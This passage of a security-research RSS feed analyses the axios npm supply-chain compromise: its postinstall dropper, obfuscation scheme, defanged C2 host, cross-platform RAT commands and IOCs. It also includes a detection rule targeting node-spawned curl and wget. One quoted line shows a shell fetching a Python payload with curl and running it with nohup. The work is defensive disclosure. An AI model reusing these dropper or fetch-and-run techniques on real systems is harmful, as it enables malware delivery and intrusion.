<p>Check out the <a href="https://www.elastic.co/fr/docs/reference/integrations/macos">macOS Security Events</a> integration.</p>
<h2>IBM QRadar</h2>
<p>For teams running IBM QRadar in parallel with Elastic Security, alert ingestion into Elastic has become easier. The QRadar integration collects offense records from QRadar’s offense and rules endpoints, enriching each alert with the triggering rule’s name, ID, type and ownership, so analysts can triage in Elastic without switching back to QRadar.</p>
<p>This integration is the foundation of Elastic’s SIEM migration workflow for QRadar, which mirrors the capability already available for <a href="https://www.elastic.co/fr/docs/reference/integrations/splunk">Splunk</a>. Teams can also use <a href="https://www.elastic.co/fr/security-labs/from-qradar-to-elastic">Automatic Migration</a> for migrating their QRadar rules into Elastic. It uses semantic search and generative AI to map existing rules to Elastic’s 1,300+ prebuilt detections, and translates anything that doesn’t map directly into ES|QL, allowing you to consolidate your SIEM footprint without manually rebuilding your entire detection library.</p>
<p>Check out the <a href="https://www.elastic.co/fr/docs/reference/integrations/ibm_qradar">IBM QRadar</a> integration.</p>
<h2>Proofpoint Essentials</h2>
<p>For Enterprise customers, Proofpoint’s TAP (Targeted Attack Protection) has been available in Elastic. To provide the same email threat visibility to SMB environments and the MSP and MSSPs who serve them, Proofpoint Essentials is now available.</p>
<p>The Proofpoint Essentials integration streams four event types into Elastic Security:</p>
<ul>
<li>Clicks on malicious URLs that were blocked</li>
<li>Clicks that were permitted</li>
<li>Messages blocked for containing threats recognized by URL Defense or Attachment Defense</li>
<li>Messages delivered despite containing those threats</li>
</ul>
<p>To easily surface this data, two prebuilt dashboards are available:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-integrations-roundup-q1-2026/image2.png" alt="Clicks Overview dashboard shows blocked versus permitted click trends over time, broken down by threat status and classification." title="Clicks Overview dashboard shows blocked versus permitted click trends over time, broken down by threat status and classification." /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-integrations-roundup-q1-2026/image1.png" alt="Threat Overview dashboard shows blocked versus permitted click trends over time, broken down by threat status and classification." title="Threat Overview dashboard shows blocked versus permitted click trends over time, broken down by threat status and classification." /></p>
<p>For an SMB SOC team, this means phishing attempts, malware detections and policy violations land in the same platform as the rest of your security telemetry, removing the need to switch platforms to understand the full context of a threat.</p>
<p>Check out the <a href="https://www.elastic.co/fr/docs/reference/integrations/proofpoint_essentials">Proofpoint Essentials</a> integration.</p>
<h2>AWS Security Hub</h2>
<p>AWS Security Hub aggregates findings across your AWS environment, but investigating those findings means staying inside the AWS console, separate from the rest of your team’s security data. The Elastic integration changes this by pulling Security Hub findings into Elastic in Open Cybersecurity Schema Framework (OCSF) format and normalizing them to ECS, offering schema-consistent data that’s immediately searchable via ES|QL.</p>
<p>Findings land in the <a href="https://www.elastic.co/fr/docs/solutions/security/cloud/findings-page-3">Elastic Vulnerability Findings</a> page, integrating AWS cloud security posture directly into the workflows already in place. From there, you can correlate Security Hub data with signals from other sources - endpoint alerts, identity events, network telemetry - to build a fuller picture of risk across your AWS environment and investigate faster than the native console allows.</p>
<p>Check out the <a href="https://www.elastic.co/fr/docs/reference/integrations/aws_securityhub">AWS Security Hub</a> integration.</p>
<h2>More new Elastic Security integrations</h2>
<p>In addition to the featured integrations above, the following integrations are now available, each shipping with prebuilt dashboards for immediate value:</p>
<ul>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/jupiter_one">JupiterOne</a>: Asset intelligence and cloud attack surface monitoring, ingesting cross-tool alerts, CVE findings, and threat detections enriched with MITRE ATT&amp;CK mappings and CVSS scores, and host context for unified risk visibility.</li>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/airlock_digital">Airlock Digital</a>: Application allowlisting and execution control telemetry, capturing blocked process executions with command lines, file hashes and publisher context, so unauthorized execution attempts are visible and correlatable alongside the rest of your endpoint detections.</li>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/island_browser">Island Browser</a>: Enterprise browser security events spanning user navigation, device posture, compromised credential detection and admin activity, extending Elastic’s visibility to BYOD and unmanaged devices where traditional endpoint agents can’t be deployed.</li>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/ironscales">Ironscales</a>: AI-powered phishing detection events capturing email metadata, sender reputation, affected mailbox counts and suspicious links, correlatable with endpoint and identity data for faster investigation and response.</li>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/cyera">Cyera</a>: Data security posture management events, surfacing sensitive data risks including exposure severity, affected record counts, compliance framework violations, and datastore ownership across cloud environments, so sensitive data exposure doesn’t stay siloed in a separate DSPM console.</li>
</ul>
<h2>Get started</h2>
<p>These integrations Elastic’s open approach to security. All nine integrations in this roundup ship with prebuilt dashboards and native ECS mappings, giving your team immediate visibility with no additional setup or custom visualization work required.</p>
<p>From there, findings, alerts and logs are immediately available to Elastic’s broader <a href="https://www.elastic.co/fr/docs/solutions/security/ai/identify-investigate-document-threats">detection and investigation capabilities</a>: Attack Discovery for surfacing multi-stage threats, AI Assistant for natural-language investigation and guided response, and to ES|QL and EQL for custom detection and hunting queries.</p>
<ul>
<li><a href="https://www.elastic.co/fr/integrations/data-integrations?solution=security">Browse available integrations</a></li>
<li><a href="https://www.elastic.co/fr/blog/automatic-migration-ai-rule-translation">Learn about migrating to Elastic Security from other SIEMs</a></li>
</ul>
<p>Have questions or feedback? Join #security-siem in the <a href="https://www.elastic.co/fr/community/">Elastic Stack Community Slack</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-integrations-roundup-q1-2026/elastic-security-integrations-roundup-q1-2026.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside the Axios supply chain compromise - one RAT to rule them all]]></title>
            <link>https://www.elastic.co/fr/security-labs/axios-one-rat-to-rule-them-all</link>
            <guid>axios-one-rat-to-rule-them-all</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzes a supply chain compromise of the axios npm package delivering a unified cross-platform RAT]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs released <a href="https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections">initial triage and detection rules</a> for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.</p>
</blockquote>
<h2>Introduction</h2>
<p>Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.</p>
<h3>Key takeaways</h3>
<ul>
<li>A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package</li>
<li>The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux</li>
<li>All three stage-2 payloads are implementations of the <strong>same RAT</strong> — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)</li>
<li>The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from <code>node_modules</code></li>
</ul>
<h2>Preamble</h2>
<p>On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the <a href="https://www.npmjs.com/package/axios">axios</a> npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.</p>
<p>The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.</p>
<p>The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.</p>
<p>What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the <strong>same RAT</strong> — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.</p>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on <strong>March 31, 2026 at 01:50 AM UTC</strong> to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image3.png" alt="GitHub Security Advisory filed to the axios repository" title="GitHub Security Advisory filed to the axios repository" /></p>
<p>As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image2.png" alt="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" title="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" /></p>
<p>This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.</p>
<h2>Campaign overview</h2>
<p>The compromise is evident from the npm registry metadata. The maintainer email changed from <code>jasonsaayman@gmail[.]com</code> — present on all prior legitimate releases — to <code>ifstap@proton[.]me</code> on the malicious versions. The publishing method also changed:</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Published By</th>
<th>Method</th>
<th>Provenance</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios@1.14.0</code> (legitimate)</td>
<td><code>jasonsaayman@gmail[.]com</code></td>
<td>GitHub Actions OIDC</td>
<td>SLSA provenance attestations</td>
</tr>
<tr>
<td><code>axios@1.14.1</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
<tr>
<td><code>axios@0.30.4</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
</tbody>
</table>
<p>The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.</p>
<h3>Timeline</h3>
<ul>
<li><strong>2026-02-18 17:19 UTC</strong> — <code>axios@0.30.3</code> published legitimately by <code>jasonsaayman@gmail[.]com</code></li>
<li><strong>2026-03-27 19:01 UTC</strong> — <code>axios@1.14.0</code> published legitimately via GitHub Actions OIDC</li>
<li><strong>2026-03-30 05:57 UTC</strong> — <code>plain-crypto-js@4.2.0</code> published by <code>nrwise</code> (<code>nrwise@proton.me</code>) — clean decoy to build registry history</li>
<li><strong>2026-03-30 23:59 UTC</strong> — <code>plain-crypto-js@4.2.1</code> published by <code>nrwise</code> — malicious version with <code>postinstall</code> backdoor</li>
<li><strong>2026-03-31 00:21 UTC</strong> — <code>axios@1.14.1</code> published by compromised account — tagged <code>latest</code></li>
<li><strong>2026-03-31 01:00 UTC</strong> — <code>axios@0.30.4</code> published by compromised account — tagged <code>legacy</code></li>
</ul>
<h3>Affected packages</h3>
<ul>
<li><strong><code>axios@1.14.1</code> — Malicious, tagged <code>latest</code> at time of discovery</strong></li>
<li><strong><code>axios@0.30.4</code> — Malicious, tagged <code>legacy</code> at time of discovery</strong></li>
<li><strong><code>plain-crypto-js@4.2.0</code> — Clean decoy, published to build registry history</strong></li>
<li><strong><code>plain-crypto-js@4.2.1</code> — Malicious, payload delivery vehicle (<code>postinstall</code> backdoor)</strong></li>
</ul>
<p><strong>Safe versions:</strong> <code>axios@1.14.0</code> (last legitimate 1.x release with SLSA provenance) and <code>axios@0.30.3</code> (last legitimate <code>0.30.x</code> release).</p>
<p>The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.</p>
<h2>Code analysis</h2>
<h3>Stage 1: The plain-crypto-js dropper</h3>
<p>The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls <code>plain-crypto-js@^4.2.1</code> as a dependency, which declares:</p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;postinstall&quot;: &quot;node setup.js&quot;
}
</code></pre>
<p>This causes setup.js to execute automatically during npm install — no user interaction required.</p>
<p>The setup.js file uses a two-layer encoding scheme to conceal its behavior:</p>
<ul>
<li><strong>Layer 1:</strong> String reversal followed by Base64 decoding</li>
<li><strong>Layer 2:</strong> XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)</li>
</ul>
<p>All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:</p>
<h3>Platform-specific delivery</h3>
<p>After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to <a href="http://sfrclak%5B.%5Dcom:8000/6202033">http://sfrclak[.]com:8000/6202033</a> with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Delivery Method</th>
<th>Stage-2 Location</th>
<th>Disguise</th>
</tr>
</thead>
<tbody>
<tr>
<td>macOS</td>
<td>AppleScript via osascript downloads binary with curl</td>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Apple system daemon</td>
</tr>
<tr>
<td>Windows</td>
<td>VBScript downloads .ps1 via curl, executes via renamed PowerShell (<code>%PROGRAMDATA%\wt.exe</code>)</td>
<td><code>%TEMP%\6202033.ps1</code> (transient)</td>
<td>Windows Terminal</td>
</tr>
<tr>
<td>Linux</td>
<td>Direct curl download and python3 execution</td>
<td><code>/tmp/ld.py</code></td>
<td>None</td>
</tr>
</tbody>
</table>
<h3>Anti-forensics</h3>
<p>The dropper performs two cleanup actions:</p>
<ol>
<li><strong>Self-deletion:</strong> setup.js removes itself via fs.unlink(__filename)</li>
<li><strong>Package manifest swap:</strong> A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version</li>
</ol>
<p>Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.</p>
<h3>Stage 2: Cross-platform RAT</h3>
<p>The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux  are not three different tools. They are three implementations of the <strong>same RAT specification</strong>, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.</p>
<h4>Shared architecture</h4>
<p>The following properties are <strong>identical across all three variants:</strong></p>
<ul>
<li><strong>C2 transport: HTTP POST</strong></li>
<li><strong>Body encoding: Base64-encoded JSON</strong></li>
<li><strong>User-Agent: <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></strong></li>
<li><strong>Beacon interval: 60 seconds</strong></li>
<li><strong>Session UID: 16-character random alphanumeric string, generated per-execution</strong></li>
<li><strong>Outbound message types: <code>FirstInfo</code>, <code>BaseInfo</code>, <code>CmdResult</code></strong></li>
<li><strong>Inbound command types: <code>kill</code>, <code>peinject</code>, <code>runscript</code>, <code>rundir</code></strong></li>
<li><strong>Response command types: <code>rsp_kill</code>, <code>rsp_peinject</code>, <code>rsp_runscript</code>, <code>rsp_rundir</code></strong></li>
</ul>
<p>The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.</p>
<h4>Initialization and reconnaissance</h4>
<p>On startup, each variant:</p>
<ol>
<li><strong>Generates a session UID</strong> — 16 random alphanumeric characters, included in every subsequent C2 message</li>
<li><strong>Detects OS and architecture</strong> — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)</li>
<li><strong>Enumerates initial directories</strong> of interest (user profile, documents, desktop, config directories)</li>
<li><strong>Sends a FirstInfo beacon</strong> containing the UID, OS identifier, and directory snapshot</li>
</ol>
<p>After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:</p>
<table>
<thead>
<tr>
<th>Data Collected</th>
<th>Windows Source</th>
<th>macOS Source</th>
<th>Linux Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hostname</td>
<td>%COMPUTERNAME% env var</td>
<td>gethostname()</td>
<td>/proc/sys/kernel/hostname</td>
</tr>
<tr>
<td>Username</td>
<td>%USERNAME% env var</td>
<td>getuid() + getpwuid()</td>
<td>os.getlogin()</td>
</tr>
<tr>
<td>OS version</td>
<td>WMI / registry</td>
<td>sysctlbyname(&quot;kern.osproductversion&quot;)</td>
<td>platform.system() + platform.release()</td>
</tr>
<tr>
<td>Timezone</td>
<td>System timezone</td>
<td>localtime_r()</td>
<td>datetime.timezone</td>
</tr>
<tr>
<td>Boot time</td>
<td>System uptime</td>
<td>sysctl(&quot;kern.boottime&quot;)</td>
<td>/proc/uptime</td>
</tr>
<tr>
<td>Install date</td>
<td>Registry / WMI</td>
<td>stat(&quot;/&quot;) or sysctl</td>
<td>ctime of /var/log/installer or /var/log/dpkg.log</td>
</tr>
<tr>
<td>Hardware model</td>
<td>WMI</td>
<td>sysctlbyname(&quot;hw.model&quot;)</td>
<td>/sys/class/dmi/id/product_name</td>
</tr>
<tr>
<td>CPU type</td>
<td>WMI</td>
<td>sysctlbyname()</td>
<td>platform.machine()</td>
</tr>
<tr>
<td>Process list</td>
<td>Full PID, session, name, path</td>
<td>popen(&quot;ps&quot;) (up to 1000)</td>
<td>Full /proc enumeration (PID, PPID, user, cmdline)</td>
</tr>
</tbody>
</table>
<p>Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.</p>
<h4>Command dispatch</h4>
<p>The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:</p>
<p><strong>kill — Self-termination.</strong> Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.</p>
<p><strong>runscript — Script/command execution.</strong> The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Execution Mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>PowerShell with -NoProfile -ep Bypass</td>
</tr>
<tr>
<td>macOS</td>
<td>AppleScript via /usr/bin/osascript</td>
</tr>
<tr>
<td>Linux</td>
<td>Shell via subprocess.run(shell=True) or Python via python3 -c</td>
</tr>
</tbody>
</table>
<p><strong>peinject — Binary payload delivery.</strong> Despite the Windows-centric naming (&quot;PE inject&quot;), all three platforms implement this as a way to drop and execute binary payloads:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Reflective .NET assembly loading via [System.Reflection.Assembly]::Load()</td>
</tr>
<tr>
<td>macOS</td>
<td>Base64-decodes and drops a binary, executes with operator-supplied parameters.</td>
</tr>
<tr>
<td>Linux</td>
<td>Base64-decodes a binary to /tmp/.&lt;random 6-char string&gt; (hidden file), launches via subprocess.Popen().</td>
</tr>
</tbody>
</table>
<p>The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.</p>
<p><strong>rundir — Directory enumeration.</strong> Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.</p>
<h4>Capability summary</h4>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Windows (PowerShell)</th>
<th>macOS (C++)</th>
<th>Linux (Python)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Persistence</td>
<td>Registry Run key + hidden .bat</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>Script execution</td>
<td>PowerShell</td>
<td>AppleScript via osascript</td>
<td>Shell or Python inline</td>
</tr>
<tr>
<td>Binary injection</td>
<td>Reflective .NET load injecting into cmd.exe</td>
<td>Binary drop + execute</td>
<td>Binary drop to /tmp/ + execute</td>
</tr>
<tr>
<td>Anti-forensics</td>
<td>Hidden windows, temp file cleanup</td>
<td>Hidden temp .scpt</td>
<td>Hidden /tmp/.XXXXXX files</td>
</tr>
</tbody>
</table>
<h2>Attribution</h2>
<p>The macOS Mach-O binary delivered by the <code>plain-crypto-js</code> postinstall hook exhibits significant overlap with <strong>WAVESHAPER</strong>, a C++ backdoor tracked by Mandiant and attributed to <strong>UNC1069</strong>, a DPRK-linked threat cluster.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image1.png" alt="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" title="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" /></p>
<h2>Conclusion</h2>
<p>This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.</p>
<p>The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.</p>
<p>Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.</p>
<h2>MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1195/001/">Supply Chain Compromise: Compromise Software Dependencies</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132/001/">Data Encoding: Standard Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6202033.ps1</code></td>
<td align="left">Windows payload</td>
</tr>
<tr>
<td align="left"><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>com.apple.act.mond</code></td>
<td align="left">MacOS payload</td>
</tr>
<tr>
<td align="left"><code>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ld.py</code></td>
<td align="left">Linux payload</td>
</tr>
<tr>
<td align="left"><code>sfrclak[.]com</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
<tr>
<td align="left"><code>142.11.206[.]73</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections">https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/axios-one-rat-to-rule-them-all.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic releases detections for the Axios supply chain compromise]]></title>
            <link>https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections</link>
            <guid>axios-supply-chain-compromise-detections</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have <a href="https://www.elastic.co/fr/security-labs/axios-one-rat-to-rule-them-all">released a detailed analysis</a> on the Axios compromise RAT and payloads.</p>
</blockquote>
<blockquote>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
</blockquote>
<h2>Introduction</h2>
<p>We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.</p>
<p>Elastic observed consistent execution patterns across impacted systems immediately after <code>npm install</code> of the malicious Axios versions (<code>1.14.1</code>, <code>0.30.4</code>). The added dependency (<code>plain-crypto-js@4.2.1</code>) executed during <code>postinstall</code> and was quickly followed by a second-stage payload.</p>
<p>Across Linux, Windows, and macOS, the activity followed the same structure:</p>
<pre><code>node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2
</code></pre>
<p>This results in a small but high-signal window where:</p>
<ul>
<li><code>node</code> spawns a shell or interpreter</li>
<li>a remote payload is fetched</li>
<li>execution is detached from the original process</li>
</ul>
<p>Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.</p>
<h2>How Elastic Detects the Supply Chain Attack</h2>
<p>This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.</p>
<h3>Linux</h3>
<p>The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:</p>
<pre><code>node → /bin/sh -c curl -o /tmp/ld.py ... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;
</code></pre>
<p>Which shows up as follows:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image6.png" alt="Elastic alerts triggering on backdoor execution" /></p>
<p>The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> detection rule.</p>
<pre><code>event.category:process and
process.parent.name:(&quot;node&quot; or &quot;bun&quot; or &quot;node.exe&quot; or &quot;bun.exe&quot;) and 
(
  (
    process.name:(
      &quot;bash&quot; or &quot;dash&quot; or &quot;sh&quot; or &quot;tcsh&quot; or &quot;csh&quot; or  &quot;zsh&quot; or &quot;ksh&quot; or
      &quot;fish&quot; or &quot;cmd.exe&quot; or &quot;bash.exe&quot; or &quot;powershell.exe&quot;
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:(&quot;curl&quot; or &quot;wget&quot; or &quot;curl.exe&quot; or &quot;wget.exe&quot;)
)
</code></pre>
<p>This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the <code>curl</code> invocation that retrieves <code>/tmp/ld.py</code> from the remote server.</p>
